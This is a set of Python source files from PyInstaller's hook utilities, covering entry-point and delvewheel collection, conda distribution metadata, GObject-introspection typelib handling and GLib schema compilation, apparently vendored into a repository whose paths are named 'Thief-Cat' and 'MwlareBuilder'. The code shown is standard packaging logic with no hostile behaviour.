            datas += copy_metadata(dist_name)
        except Exception:
            pass

    return datas, binaries, hiddenimports


def collect_entry_point(name: str):
    """
    Collect modules and metadata for all exporters of a given entry point.

    Args:
        name:
            The name of the entry point. Check the documentation for the library that uses the entry point to find
            its name.
    Returns:
        A ``(datas, hiddenimports)`` pair that should be assigned to the ``datas`` and ``hiddenimports``, respectively.

    For libraries, such as ``pytest`` or ``keyring``, that rely on plugins to extend their behaviour.

    Examples:
        Pytest uses an entry point called ``'pytest11'`` for its extensions.
        To collect all those extensions use::

            datas, hiddenimports = collect_entry_point("pytest11")

        These values may be used in a hook or added to the ``datas`` and ``hiddenimports`` arguments in the ``.spec``
        file. See :ref:`using spec files`.

    .. versionadded:: 4.3
    """
    datas = []
    imports = []
    for entry_point in importlib_metadata.entry_points(group=name):
        datas += copy_metadata(entry_point.dist.name)
        imports.append(entry_point.value)
    return datas, imports


def get_hook_config(hook_api: PostGraphAPI, module_name: str, key: str):
    """
    Get user settings for hooks.

    Args:
        module_name:
            The module/package for which the key setting belong to.
        key:
            A key for the config.
    Returns:
        The value for the config. ``None`` if not set.

    The ``get_hook_config`` function will lookup settings in the ``Analysis.hooksconfig`` dict.

    The hook settings can be added to ``.spec`` file in the form of::

        a = Analysis(["my-app.py"],
            ...
            hooksconfig = {
                "gi": {
                    "icons": ["Adwaita"],
                    "themes": ["Adwaita"],
                    "languages": ["en_GB", "zh_CN"],
                },
            },
            ...
        )
    """
    config = hook_api.analysis.hooksconfig
    value = None
    if module_name in config and key in config[module_name]:
        value = config[module_name][key]
    return value


def include_or_exclude_file(
    filename: str,
    include_list: list | None = None,
    exclude_list: list | None = None,
):
    """
    Generic inclusion/exclusion decision function based on filename and list of include and exclude patterns.

    Args:
        filename:
            Filename considered for inclusion.
        include_list:
            List of inclusion file patterns.
        exclude_list:
            List of exclusion file patterns.

    Returns:
        A boolean indicating whether the file should be included or not.

    If ``include_list`` is provided, True is returned only if the filename matches one of include patterns (and does not
    match any patterns in ``exclude_list``, if provided). If ``include_list`` is not provided, True is returned if
    filename does not match any patterns in ``exclude list``, if provided. If neither list is provided, True is
    returned for any filename.
    """
    if include_list is not None:
        for pattern in include_list:
            if fnmatch.fnmatch(filename, pattern):
                break
        else:
            return False  # Not explicitly included; exclude

    if exclude_list is not None:
        for pattern in exclude_list:
            if fnmatch.fnmatch(filename, pattern):
                return False  # Explicitly excluded

    return True


def collect_delvewheel_libs_directory(package_name, libdir_name=None, datas=None, binaries=None):
    """
    Collect data files and binaries from the .libs directory of a delvewheel-enabled python wheel. Such wheels ship
    their shared libraries in a .libs directory that is located next to the package directory, and therefore falls
    outside the purview of the collect_dynamic_libs() utility function.

    Args:
        package_name:
            Name of the package (e.g., scipy).
        libdir_name:
            Optional name of the .libs directory (e.g., scipy.libs). If not provided, ".libs" is added to
            ``package_name``.
        datas:
            Optional list of datas to which collected data file entries are added. The combined result is retuned
            as part of the output tuple.
        binaries:
            Optional list of binaries to which collected binaries entries are added. The combined result is retuned
            as part of the output tuple.

    Returns:
        tuple: A ``(datas, binaries)`` pair that should be assigned to the ``datas`` and ``binaries``, respectively.

    Examples:
        Collect the ``scipy.libs`` delvewheel directory belonging to the Windows ``scipy`` wheel::

            datas, binaries = collect_delvewheel_libs_directory("scipy")

        When the collected entries should be added to existing ``datas`` and ``binaries`` listst, the following form
        can be used to avoid using intermediate temporary variables and merging those into existing lists::

            datas, binaries = collect_delvewheel_libs_directory("scipy", datas=datas, binaries=binaries)

    .. versionadded:: 5.6
    """

    datas = datas or []
    binaries = binaries or []

    if libdir_name is None:
        libdir_name = package_name + '.libs'

    # delvewheel is applicable only to Windows wheels
    if not compat.is_win:
        return datas, binaries

    # Get package's parent path
    pkg_base, pkg_dir = get_package_paths(package_name)
    pkg_base = Path(pkg_base)
    libs_dir = pkg_base / libdir_name

    if not libs_dir.is_dir():
        return datas, binaries

    # Collect all dynamic libs - collect them as binaries in order to facilitate proper binary dependency analysis
    # (for example, to ensure that system-installed VC runtime DLLs are collected, if needed).
    # As of PyInstaller 5.4, this should be safe (should not result in duplication), because binary dependency
    # analysis attempts to preserve the DLL directory structure.
    binaries += [(str(dll_file), str(dll_file.parent.relative_to(pkg_base))) for dll_file in libs_dir.glob('*.dll')]

    # Collect the .load-order file; strictly speaking, this should be necessary only under python < 3.8, but let us
    # collect it for completeness sake. Differently named variants have been observed: `.load_order`, `.load-order`,
    # and `.load-order-Name`.
    datas += [(str(load_order_file), str(load_order_file.parent.relative_to(pkg_base)))
              for load_order_file in libs_dir.glob('.load[-_]order*')]

    return datas, binaries


if compat.is_pure_conda:
    from PyInstaller.utils.hooks import conda as conda_support  # noqa: F401
elif compat.is_conda:
    from PyInstaller.utils.hooks.conda import CONDA_META_DIR as _tmp
    logger.warning(
        "Assuming this is not an Anaconda environment or an additional venv/pipenv/... environment manager is being "
        "used on top, because the conda-meta folder %s does not exist.", _tmp
    )
    del _tmp

ThiefCat_assets/MwlareBuilder/utils/hooks/__init__.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

# language=rst
"""
Additional helper methods for working specifically with Anaconda distributions are found at
:mod:`PyInstaller.utils.hooks.conda_support<PyInstaller.utils.hooks.conda>`
which is designed to mimic (albeit loosely) the `importlib.metadata`_ package. These functions find and parse the
distribution metadata from json files located in the ``conda-meta`` directory.

.. versionadded:: 4.2.0

This module is available only if run inside a Conda environment. Usage of this module should therefore be wrapped in
a conditional clause::

    from PyInstaller.compat import is_pure_conda

    if is_pure_conda:
        from PyInstaller.utils.hooks import conda_support

        # Code goes here. e.g.
        binaries = conda_support.collect_dynamic_libs("numpy")
        ...

Packages are all referenced by the *distribution name* you use to install it, rather than the *package name* you import
it with. I.e., use ``distribution("pillow")`` instead of ``distribution("PIL")`` or use ``package_distribution("PIL")``.
"""
from __future__ import annotations

import fnmatch
import json
import sys
from pathlib import Path
from typing import Iterable, List
from importlib.metadata import PackagePath as _PackagePath

from PyInstaller import compat
from PyInstaller.log import logger

# Conda virtual environments each get their own copy of `conda-meta` so the use of `sys.prefix` instead of
# `sys.base_prefix`, `sys.real_prefix` or anything from our `compat` module is intentional.
CONDA_ROOT = Path(sys.prefix)
CONDA_META_DIR = CONDA_ROOT / "conda-meta"

# Find all paths in `sys.path` that are inside Conda root.
PYTHONPATH_PREFIXES = []
for _path in sys.path:
    _path = Path(_path)
    try:
        PYTHONPATH_PREFIXES.append(_path.relative_to(sys.prefix))
    except ValueError:
        pass

PYTHONPATH_PREFIXES.sort(key=lambda p: len(p.parts), reverse=True)


class Distribution:
    """
    A bucket class representation of a Conda distribution.

    This bucket exports the following attributes:

    :ivar name: The distribution's name.
    :ivar version: Its version.
    :ivar files: All filenames as :meth:`PackagePath`\\ s included with this distribution.
    :ivar dependencies: Names of other distributions that this distribution depends on (with version constraints
                        removed).
    :ivar packages: Names of importable packages included in this distribution.

    This class is not intended to be constructed directly by users. Rather use :meth:`distribution` or
    :meth:`package_distribution` to provide one for you.
    """
    def __init__(self, json_path: str):
        try:
            self._json_path = Path(json_path)
            assert self._json_path.exists()
        except (TypeError, AssertionError):
            raise TypeError(
                "Distribution requires a path to a conda-meta json. Perhaps you want "
                "`distribution({})` instead?".format(repr(json_path))
            )

        # Everything we need (including this distribution's name) is kept in the metadata json.
        self.raw: dict = json.loads(self._json_path.read_text())

        # Unpack the more useful contents of the json.
        self.name: str = self.raw["name"]
        self.version: str = self.raw["version"]
        self.files = [PackagePath(i) for i in self.raw["files"]]
        self.dependencies = self._init_dependencies()
        self.packages = self._init_package_names()

    def __repr__(self):
        return "{}(name=\"{}\", packages={})".format(type(self).__name__, self.name, self.packages)

    def _init_dependencies(self):
        """
        Read dependencies from ``self.raw["depends"]``.

        :return: Dependent distribution names.
        :rtype: list

        The names in ``self.raw["depends"]`` come with extra version constraint information which must be stripped.
        """
        dependencies = []
        # For each dependency:
        for dependency in self.raw["depends"]:
            # ``dependency`` is a string of the form: "[name] [version constraints]"
            name, *version_constraints = dependency.split(maxsplit=1)
            dependencies.append(name)
        return dependencies

    def _init_package_names(self):
        """
        Search ``self.files`` for package names shipped by this distribution.

        :return: Package names.
        :rtype: list

        These are names you would ``import`` rather than names you would install.
        """
        packages = []
        for file in self.files:
            package = _get_package_name(file)
            if package is not None:
                packages.append(package)
        return packages

    @classmethod
    def from_name(cls, name: str):
        """
        Get distribution information for a given distribution **name** (i.e., something you would ``conda install``).

        :rtype: :class:`Distribution`
        """
        if name in distributions:
            return distributions[name]
        raise ModuleNotFoundError(
            "Distribution {} is either not installed or was not installed using Conda.".format(name)
        )

    @classmethod
    def from_package_name(cls, name: str):
        """
        Get distribution information for a **package** (i.e., something you would import).

        :rtype: :class:`Distribution`

        For example, the package ``pkg_resources`` belongs to the distribution ``setuptools``, which contains three
        packages.

        >>> package_distribution("pkg_resources")
        Distribution(name="setuptools",
                     packages=['easy_install', 'pkg_resources', 'setuptools'])
        """
        if name in distributions_by_package:
            return distributions_by_package[name]
        raise ModuleNotFoundError("Package {} is either not installed or was not installed using Conda.".format(name))


distribution = Distribution.from_name
package_distribution = Distribution.from_package_name


class PackagePath(_PackagePath):
    """
    A filename relative to Conda's root (``sys.prefix``).

    This class inherits from :class:`pathlib.PurePosixPath` even on non-Posix OSs. To convert to a :class:`pathlib.Path`
    pointing to the real file, use the :meth:`locate` method.
    """
    def locate(self):
        """
        Return a path-like object for this path pointing to the file's true location.
        """
        return Path(sys.prefix) / self


def walk_dependency_tree(initial: str, excludes: Iterable[str] | None = None):
    """
    Collect a :class:`Distribution` and all direct and indirect dependencies of that distribution.

    Arguments:
        initial:
            Distribution name to collect from.
        excludes:
            Distributions to exclude.
    Returns:
        A ``{name: distribution}`` mapping where ``distribution`` is the output of
        :func:`conda_support.distribution(name) <distribution>`.
    """
    if excludes is not None:
        excludes = set(excludes)

    # Rather than use true recursion, mimic it with a to-do queue.
    from collections import deque
    done = {}
    names_to_do = deque([initial])

    while names_to_do:
        # Grab a distribution name from the to-do list.
        name = names_to_do.pop()
        try:
            # Collect and save it's metadata.
            done[name] = distribution = Distribution.from_name(name)
            logger.debug("Collected Conda distribution '%s', a dependency of '%s'.", name, initial)
        except ModuleNotFoundError:
            logger.warning(
                "Conda distribution '%s', dependency of '%s', was not found. "
                "If you installed this distribution with pip then you may ignore this warning.", name, initial
            )
            continue
        # For each dependency:
        for _name in distribution.dependencies:
            if _name in done:
                # Skip anything already done.
                continue
            if _name == name:
                # Avoid infinite recursion if a distribution depends on itself. This will probably never happen but I
                # certainly would not chance it.
                continue
            if excludes is not None and _name in excludes:
                # Do not recurse to excluded dependencies.
                continue
            names_to_do.append(_name)
    return done


def _iter_distributions(name, dependencies, excludes):
    if dependencies:
        return walk_dependency_tree(name, excludes).values()
    else:
        return [Distribution.from_name(name)]


def requires(name: str, strip_versions: bool = False) -> List[str]:
    """
    List requirements of a distribution.

    Arguments:
        name:
            The name of the distribution.
        strip_versions:
            List only their names, not their version constraints.
    Returns:
        A list of distribution names.
    """
    if strip_versions:
        return distribution(name).dependencies
    return distribution(name).raw["depends"]


def files(name: str, dependencies: bool = False, excludes: list | None = None) -> List[PackagePath]:
    """
    List all files belonging to a distribution.

    Arguments:
        name:
            The name of the distribution.
        dependencies:
            Recursively collect files of dependencies too.
        excludes:
            Distributions to ignore if **dependencies** is true.
    Returns:
        All filenames belonging to the given distribution.

    With ``dependencies=False``, this is just a shortcut for::

        conda_support.distribution(name).files
    """
    return [file for dist in _iter_distributions(name, dependencies, excludes) for file in dist.files]


if compat.is_win:
    lib_dir = PackagePath("Library", "bin")
else:
    lib_dir = PackagePath("lib")


def collect_dynamic_libs(name: str, dest: str = ".", dependencies: bool = True, excludes: Iterable[str] | None = None):
    """
    Collect DLLs for distribution **name**.

    Arguments:
        name:
            The distribution's project-name.
        dest:
            Target destination, defaults to ``'.'``.
        dependencies:
            Recursively collect libs for dependent distributions (recommended).
        excludes:
            Dependent distributions to skip, defaults to ``None``.
    Returns:
        List of DLLs in PyInstaller's ``(source, dest)`` format.

    This collects libraries only from Conda's shared ``lib`` (Unix) or ``Library/bin`` (Windows) folders. To collect
    from inside a distribution's installation use the regular :func:`PyInstaller.utils.hooks.collect_dynamic_libs`.
    """
    DLL_SUFFIXES = ("*.dll", "*.dylib", "*.so", "*.so.*")
    _files = []
    for file in files(name, dependencies, excludes):
        # A file is classified as a dynamic library if:
        #  1) it lives inside the dedicated ``lib_dir`` DLL folder
        if file.parent != lib_dir:
            continue
        #  2) it is a file (and not a directory or a symbolic link pointing to a directory)
        resolved_file = file.locate()
        if not resolved_file.is_file():
            continue
        #  3) has a correct suffix
        if not any([resolved_file.match(suffix) for suffix in DLL_SUFFIXES]):
            continue

        _files.append((str(resolved_file), dest))
    return _files


# --- Map packages to distributions and vice-versa ---


def _get_package_name(file: PackagePath):
    """
    Determine the package name of a Python file in :data:`sys.path`.

    Arguments:
        file:
            A Python filename relative to Conda root (sys.prefix).
    Returns:
        Package name or None.

    This function only considers single file packages e.g. ``foo.py`` or top level ``foo/__init__.py``\\ s.
    Anything else is ignored (returning ``None``).
    """
    file = Path(file)
    # TODO: Handle PEP 420 namespace packages (which are missing `__init__` module). No such Conda PEP 420 namespace
    # packages are known.

    # Get top-level folders by finding parents of `__init__.xyz`s
    if file.stem == "__init__" and file.suffix in compat.ALL_SUFFIXES:
        file = file.parent
    elif file.suffix not in compat.ALL_SUFFIXES:
        # Keep single-file packages but skip DLLs, data and junk files.
        return

    # Check if this file/folder's parent is in ``sys.path`` i.e. it's directly importable. This intentionally excludes
    # submodules which would cause confusion because ``sys.prefix`` is in ``sys.path``, meaning that every file in an
    # Conda installation is a submodule.
    for prefix in PYTHONPATH_PREFIXES:
        if len(file.parts) != len(prefix.parts) + 1:
            # This check is redundant but speeds it up quite a bit.
            continue
        # There are no wildcards involved here. The use of ``fnmatch`` is simply to handle the `if case-insensitive
        # file system: use case-insensitive string matching.`
        if fnmatch.fnmatch(str(file.parent), str(prefix)):
            return file.stem


# All the information we want is organised the wrong way.

# We want to look up distribution based on package names, but we can only search for packages using distribution names.
# And we would like to search for a distribution's json file, but, due to the noisy filenames of the jsons, we can only
# find a json's distribution rather than a distribution's json.

# So we have to read everything, then regroup distributions in the ways we want them grouped. This will likely be a
# spectacular bottleneck on full-blown Conda (non miniconda) with 250+ packages by default at several GiBs. I suppose we
# could cache this on a per-json basis if it gets too much.


def _init_distributions():
    distributions = {}
    for path in CONDA_META_DIR.glob("*.json"):
        dist = Distribution(path)
        distributions[dist.name] = dist
    return distributions


distributions = _init_distributions()


def _init_packages():
    distributions_by_package = {}
    for distribution in distributions.values():
        for package in distribution.packages:
            distributions_by_package[package] = distribution
    return distributions_by_package


distributions_by_package = _init_packages()

ThiefCat_assets/MwlareBuilder/utils/hooks/conda.py
KSCH-58/Thief-Cat
# ----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
# ----------------------------------------------------------------------------
import os
import pathlib
import shutil
import subprocess
import hashlib
import re

from PyInstaller.depend.utils import _resolveCtypesImports
from PyInstaller.utils.hooks import collect_submodules, collect_system_data_files, get_hook_config
from PyInstaller import isolated
from PyInstaller import log as logging
from PyInstaller import compat
from PyInstaller.depend.bindepend import findSystemLibrary

logger = logging.getLogger(__name__)


class GiModuleInfo:
    def __init__(self, module, version, hook_api=None):
        self.name = module
        self.version = version
        self.available = False
        self.sharedlibs = []
        self.typelib = None
        self.dependencies = []

        # If hook API is available, use it to override the version from hookconfig.
        if hook_api is not None:
            module_versions = get_hook_config(hook_api, 'gi', 'module-versions')
            if module_versions:
                self.version = module_versions.get(module, version)

        logger.debug("Gathering GI module info for %s %s", module, self.version)

        @isolated.decorate
        def _get_module_info(module, version):
            import gi
            gi.require_version("GIRepository", "2.0")
            from gi.repository import GIRepository

            repo = GIRepository.Repository.get_default()
            repo.require(module, version, GIRepository.RepositoryLoadFlags.IREPOSITORY_LOAD_FLAG_LAZY)

            # Shared library/libraries
            # Comma-separated list of paths to shared libraries, or None if none are associated. Convert to list.
            sharedlibs = repo.get_shared_library(module)
            sharedlibs = [lib.strip() for lib in sharedlibs.split(",")] if sharedlibs else []

            # Path to .typelib file
            typelib = repo.get_typelib_path(module)

            # Dependencies
            # GIRepository.Repository.get_immediate_dependencies is available from gobject-introspection v1.44 on
            if hasattr(repo, 'get_immediate_dependencies'):
                dependencies = repo.get_immediate_dependencies(module)
            else:
                dependencies = repo.get_dependencies(module)

            return {
                'sharedlibs': sharedlibs,
                'typelib': typelib,
                'dependencies': dependencies,
            }

        # Try to query information; if this fails, mark module as unavailable.
        try:
            info = _get_module_info(module, self.version)
            self.sharedlibs = info['sharedlibs']
            self.typelib = info['typelib']
            self.dependencies = info['dependencies']
            self.available = True
        except Exception as e:
            logger.debug("Failed to query GI module %s %s: %s", module, self.version, e)
            self.available = False

    def get_libdir(self):
        """
        Return the path to shared library used by the module. If no libraries are associated with the typelib, None is
        returned. If multiple library names are associated with the typelib, the path to the first resolved shared
        library is returned. Raises exception if module is unavailable or none of the shared libraries could be
        resolved.
        """
        # Module unavailable
        if not self.available:
            raise ValueError(f"Module {self.name} {self.version} is unavailable!")
        # Module has no associated shared libraries
        if not self.sharedlibs:
            return None
        for lib in self.sharedlibs:
            path = findSystemLibrary(lib)
            if path:
                return os.path.normpath(os.path.dirname(path))
        raise ValueError(f"Could not resolve any shared library of {self.name} {self.version}: {self.sharedlibs}!")

    def collect_typelib_data(self):
        """
        Return a tuple of (binaries, datas, hiddenimports) to be used by PyGObject related hooks.
        """
        datas = []
        binaries = []
        hiddenimports = []

        logger.debug("Collecting module data for %s %s", self.name, self.version)

        # Module unavailable
        if not self.available:
            raise ValueError(f"Module {self.name} {self.version} is unavailable!")

        # Find shared libraries
        resolved_libs = _resolveCtypesImports(self.sharedlibs)
        for resolved_lib in resolved_libs:
            logger.debug("Collecting shared library %s at %s", resolved_lib[0], resolved_lib[1])
            binaries.append((resolved_lib[1], "."))

        # Find and collect .typelib file. Run it through the `gir_library_path_fix` to fix the library path, if
        # necessary.
        typelib_entry = gir_library_path_fix(self.typelib)
        if typelib_entry:
            logger.debug('Collecting gir typelib at %s', typelib_entry[0])
            datas.append(typelib_entry)

        # Overrides for the module
        hiddenimports += collect_submodules('gi.overrides', lambda name: name.endswith('.' + self.name))

        # Module dependencies
        for dep in self.dependencies:
            dep_module, _ = dep.rsplit('-', 1)
            hiddenimports += [f'gi.repository.{dep_module}']

        return binaries, datas, hiddenimports


# The old function, provided for backwards compatibility in 3rd party hooks.
def get_gi_libdir(module, version):
    module_info = GiModuleInfo(module, version)
    return module_info.get_libdir()


# The old function, provided for backwards compatibility in 3rd party hooks.
def get_gi_typelibs(module, version):
    """
    Return a tuple of (binaries, datas, hiddenimports) to be used by PyGObject related hooks. Searches for and adds
    dependencies recursively.

    :param module: GI module name, as passed to 'gi.require_version()'
    :param version: GI module version, as passed to 'gi.require_version()'
    """
    module_info = GiModuleInfo(module, version)
    return module_info.collect_typelib_data()


def gir_library_path_fix(path):
    import subprocess

    # 'PyInstaller.config' cannot be imported as other top-level modules.
    from PyInstaller.config import CONF

    path = os.path.abspath(path)

    # On Mac OS we need to recompile the GIR files to reference the loader path,
    # but this is not necessary on other platforms.
    if compat.is_darwin:

        # If using a virtualenv, the base prefix and the path of the typelib
        # have really nothing to do with each other, so try to detect that.
        common_path = os.path.commonprefix([compat.base_prefix, path])
        if common_path == '/':
            logger.debug("virtualenv detected? fixing the gir path...")
            common_path = os.path.abspath(os.path.join(path, '..', '..', '..'))

        gir_path = os.path.join(common_path, 'share', 'gir-1.0')

        typelib_name = os.path.basename(path)
        gir_name = os.path.splitext(typelib_name)[0] + '.gir'

        gir_file = os.path.join(gir_path, gir_name)

        if not os.path.exists(gir_path):
            logger.error(
                "Unable to find gir directory: %s.\nTry installing your platform's gobject-introspection package.",
                gir_path
            )
            return None
        if not os.path.exists(gir_file):
            logger.error(
                "Unable to find gir file: %s.\nTry installing your platform's gobject-introspection package.", gir_file
            )
            return None

        with open(gir_file, 'r', encoding='utf-8') as f:
            lines = f.readlines()
        # GIR files are `XML encoded <https://developer.gnome.org/gi/stable/gi-gir-reference.html>`_,
        # which means they are by definition encoded using UTF-8.
        with open(os.path.join(CONF['workpath'], gir_name), 'w', encoding='utf-8') as f:
            for line in lines:
                if 'shared-library' in line:
                    split = re.split('(=)', line)
                    files = re.split('(["|,])', split[2])
                    for count, item in enumerate(files):
                        if 'lib' in item:
                            files[count] = '@loader_path/' + os.path.basename(item)
                    line = ''.join(split[0:2]) + ''.join(files)
                f.write(line)

        # g-ir-compiler expects a file so we cannot just pipe the fixed file to it.
        command = subprocess.Popen((
            'g-ir-compiler', os.path.join(CONF['workpath'], gir_name),
            '-o', os.path.join(CONF['workpath'], typelib_name)
        ))  # yapf: disable
        command.wait()

        return os.path.join(CONF['workpath'], typelib_name), 'gi_typelibs'
    else:
        return path, 'gi_typelibs'


@isolated.decorate
def get_glib_system_data_dirs():
    import gi
    gi.require_version('GLib', '2.0')
    from gi.repository import GLib
    return GLib.get_system_data_dirs()


def get_glib_sysconf_dirs():
    """
    Try to return the sysconf directories (e.g., /etc).
    """
    if compat.is_win:
        # On Windows, if you look at gtkwin32.c, sysconfdir is actually relative to the location of the GTK DLL. Since
        # that is what we are actually interested in (not the user path), we have to do that the hard way...
        return [os.path.join(get_gi_libdir('GLib', '2.0'), 'etc')]

    @isolated.call
    def data_dirs():
        import gi
        gi.require_version('GLib', '2.0')
        from gi.repository import GLib
        return GLib.get_system_config_dirs()

    return data_dirs


def collect_glib_share_files(*path):
    """
    Path is relative to the system data directory (e.g., /usr/share).
    """
    glib_data_dirs = get_glib_system_data_dirs()
    if glib_data_dirs is None:
        return []

    destdir = os.path.join('share', *path)

    # TODO: will this return too much?
    collected = []
    for data_dir in glib_data_dirs:
        p = os.path.join(data_dir, *path)
        collected += collect_system_data_files(p, destdir=destdir, include_py_files=False)

    return collected


def collect_glib_etc_files(*path):
    """
    Path is relative to the system config directory (e.g., /etc).
    """
    glib_config_dirs = get_glib_sysconf_dirs()
    if glib_config_dirs is None:
        return []

    destdir = os.path.join('etc', *path)

    # TODO: will this return too much?
    collected = []
    for config_dir in glib_config_dirs:
        p = os.path.join(config_dir, *path)
        collected += collect_system_data_files(p, destdir=destdir, include_py_files=False)

    return collected


_glib_translations = None


def collect_glib_translations(prog, lang_list=None):
    """
    Return a list of translations in the system locale directory whose names equal prog.mo.
    """
    global _glib_translations
    if _glib_translations is None:
        if lang_list is not None:
            trans = []
            for lang in lang_list:
                trans += collect_glib_share_files(os.path.join("locale", lang))
            _glib_translations = trans
        else:
            _glib_translations = collect_glib_share_files('locale')

    names = [os.sep + prog + '.mo', os.sep + prog + '.po']
    namelen = len(names[0])

    return [(src, dst) for src, dst in _glib_translations if src[-namelen:] in names]


# Not a hook utility function per-se (used by main Analysis class), but kept here to have all GLib/GObject functions
# in one place...
def compile_glib_schema_files(datas_toc, workdir, collect_source_files=False):
    """
    Compile collected GLib schema files. Extracts the list of GLib schema files from the given input datas TOC, copies
    them to temporary working directory, and compiles them. The resulting `gschemas.compiled` file is added to the
    output TOC, replacing any existing entry with that name. If `collect_source_files` flag is set, the source XML
    schema files are also (re)added to the output TOC; by default, they are not. This function is no-op (returns the
    original TOC) if no GLib schemas are found in TOC or if `glib-compile-schemas` executable is not found in `PATH`.
    """
    SCHEMA_DEST_DIR = pathlib.PurePath("share/glib-2.0/schemas")
    workdir = pathlib.Path(workdir)

    schema_files = []
    output_toc = []
    for toc_entry in datas_toc:
        dest_name, src_name, typecode = toc_entry
        dest_name = pathlib.PurePath(dest_name)
        src_name = pathlib.PurePath(src_name)

        # Pass-through for non-schema files, identified based on the destination directory.
        if dest_name.parent != SCHEMA_DEST_DIR:
            output_toc.append(toc_entry)
            continue

        # It seems schemas directory contains different files with different suffices:
        #  - .gschema.xml
        #  - .schema.override
        #  - .enums.xml
        # To avoid omitting anything, simply collect everything into temporary directory.
        # Exemptions are gschema.dtd (which should be unnecessary) and gschemas.compiled (which we will generate
        # ourselves in this function).
        if src_name.name in {"gschema.dtd", "gschemas.compiled"}:
            continue

        schema_files.append(src_name)

    # If there are no schema files available, simply return the input datas TOC.
    if not schema_files:
        return datas_toc

    # Ensure that `glib-compile-schemas` executable is in PATH, just in case...
    schema_compiler_exe = shutil.which('glib-compile-schemas')
    if not schema_compiler_exe:
        logger.warning("GLib schema compiler (glib-compile-schemas) not found! Skipping GLib schema recompilation...")
        return datas_toc

    # If `gschemas.compiled` file already exists in the temporary working directory, record its modification time and
    # hash. This will allow us to restore the modification time on the newly-compiled copy, if the latter turns out
    # to be identical to the existing old one. Just in case, if the file becomes subject to timestamp-based caching
    # mechanism.
    compiled_file = workdir / "gschemas.compiled"
    old_compiled_file_hash = None
    old_compiled_file_stat = None

    if compiled_file.is_file():
        # Record creation/modification time
        old_compiled_file_stat = compiled_file.stat()
        # Compute SHA1 hash; since compiled schema files are relatively small, do it in single step.
        old_compiled_file_hash = hashlib.sha1(compiled_file.read_bytes()).digest()

    # Ensure that temporary working directory exists, and is empty.
    if workdir.exists():
        shutil.rmtree(workdir)
    workdir.mkdir(exist_ok=True)

    # Copy schema (source) files to temporary working directory
    for schema_file in schema_files:
        shutil.copy(schema_file, workdir)

    # Compile. The glib-compile-schema might produce warnings on its own (e.g., schemas using deprecated paths, or
    # overrides for non-existent keys). Since these are non-actionable, capture and display them only as a DEBUG
    # message, or as a WARNING one if the command fails.
    logger.info("Compiling collected GLib schema files in %r...", str(workdir))
    try:
        cmd_args = [schema_compiler_exe, str(workdir), '--targetdir', str(workdir)]
        p = subprocess.run(
            cmd_args,
            stdin=subprocess.DEVNULL,
            stdout=subprocess.PIPE,
            stderr=subprocess.STDOUT,
            check=True,
            text=True,
            errors='ignore',
        )
        logger.debug("Output from glib-compile-schemas:\n%s", p.stdout)
    except subprocess.CalledProcessError as e:
        # The called glib-compile-schema returned error. Display stdout/stderr, and return original datas TOC to
        # minimize damage.
        logger.warning("Failed to recompile GLib schemas! Returning collected files as-is!", exc_info=True)
        logger.warning("Output from glib-compile-schemas:\n%s", e.stdout)
        return datas_toc
    except Exception:
        # Compilation failed for whatever reason. Return original datas TOC to minimize damage.
        logger.warning("Failed to recompile GLib schemas! Returning collected files as-is!", exc_info=True)
        return datas_toc

    # Compute the checksum of the new compiled file, and if it matches the old checksum, restore the modification time.
    if old_compiled_file_hash is not None:
        new_compiled_file_hash = hashlib.sha1(compiled_file.read_bytes()).digest()
        if new_compiled_file_hash == old_compiled_file_hash:
            os.utime(compiled_file, ns=(old_compiled_file_stat.st_atime_ns, old_compiled_file_stat.st_mtime_ns))

    # Add the resulting gschemas.compiled file to the output TOC
    output_toc.append((str(SCHEMA_DEST_DIR / compiled_file.name), str(compiled_file), "DATA"))

    # Include source schema files in the output TOC (optional)
    if collect_source_files:
        for schema_file in schema_files:
            output_toc.append((str(SCHEMA_DEST_DIR / schema_file.name), str(schema_file), "DATA"))

    return output_toc

ThiefCat_assets/MwlareBuilder/utils/hooks/gi.py
KSCH-58/Thief-Cat
# ----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

import glob
import os
import pathlib

from PyInstaller import compat
from PyInstaller import isolated
from PyInstaller import log as logging
from PyInstaller.depend import bindepend
from PyInstaller.utils import hooks, misc
from PyInstaller.utils.hooks.qt import _modules_info

logger = logging.getLogger(__name__)

# Qt deployment approach
# ----------------------
# This is the core of PyInstaller's approach to Qt deployment. It is based on:
#
# - Discovering the location of Qt libraries by introspection, using QtLibraryInfo_. This provides compatibility with
#   many variants of Qt5/6 (conda, self-compiled, provided by a Linux distro, etc.) and many versions of Qt5/6, all of
#   which vary in the location of Qt files.
#
# - Placing all frozen PyQt5/6 or PySide2/6 Qt files in a standard subdirectory layout, which matches the layout of the
#   corresponding wheel on PyPI. This is necessary to support Qt installs which are not in a subdirectory of the PyQt5/6
#   or PySide2/6 wrappers. See ``hooks/rthooks/pyi_rth_qt5.py`` for the use of environment variables to establish this
#   layout.
#
# - Emitting warnings on missing QML and translation files which some installations do not have.
#
# - Determining additional files needed for deployment based on the information in the centralized Qt module information
#   list in the ``_modules_info`` module. This includes plugins and translation files associated with each Qt python
#   extension module, as well as additional python Qt extension modules.
#
# - Collecting additional files that are specific to each module and are handled separately, for example:
#
#    - For dynamic OpenGL applications, the ``libEGL.dll``, ``libGLESv2.dll``, ``d3dcompiler_XX.dll`` (the XX is a
#      version number), and ``opengl32sw.dll`` libraries need to be collected on Windows. This is handled by the
#      "base" bindings hook, for example ``hook-PyQt5.py``.
#
#    - If Qt was configured to use ICU, the ``icudtXX.dll``, ``icuinXX.dll``, and ``icuucXX.dll`` libraries need to
#      be collected on Windows. This is handled by the "base" bindings hook, for example ``hook-PyQt5.py``.
#
#    - Per the `Deploying QML Applications <http://doc.qt.io/qt-5/qtquick-deployment.html>`_ page, QML-based
